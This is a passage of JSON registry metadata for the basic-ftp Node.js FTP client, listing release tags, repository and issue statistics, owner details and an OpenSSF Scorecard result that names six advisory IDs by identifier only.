gs/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-20T14:12:29.395Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":32.392727432890986,"dependent_packages_count":46.30966953387521,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":39.3511984833831},"purl":"pkg:maven/org.mvnpm/basic-ftp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/maven/org.mvnpm:basic-ftp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/maven/org.mvnpm:basic-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/maven/org.mvnpm:basic-ftp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-20T09:37:25.880Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:basic-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:basic-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:basic-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:basic-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:basic-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:basic-ftp/codemeta","maintainers":[],"registry":{"name":"repo1.maven.org","url":"https://maven-central.storage-download.googleapis.com/maven2","ecosystem":"maven","default":true,"packages_count":617983,"maintainers_count":0,"namespaces_count":82109,"keywords_count":36586,"github":"maven-central","metadata":{"funded_packages_count":47727,"rate_limit":2},"icon_url":"https://github.com/maven-central.png","created_at":"2022-07-21T16:40:13.074Z","updated_at":"2026-08-24T05:04:02.273Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/namespaces"}},{"id":1461653,"name":"basic-ftp","ecosystem":"npm","description":"FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await","tls","ipv6","typescript"],"namespace":null,"versions_count":123,"first_release_published_at":"2017-12-30T15:23:50.666Z","latest_release_published_at":"2026-08-02T08:04:44.917Z","latest_release_number":"6.2.0","last_synced_at":"2026-08-23T11:42:13.957Z","created_at":"2022-04-09T02:02:02.496Z","updated_at":"2026-08-23T15:44:15.945Z","registry_url":"https://www.npmjs.com/package/basic-ftp","install_command":"npm install basic-ftp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"6.2.0"},"contentPolicy":null},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickju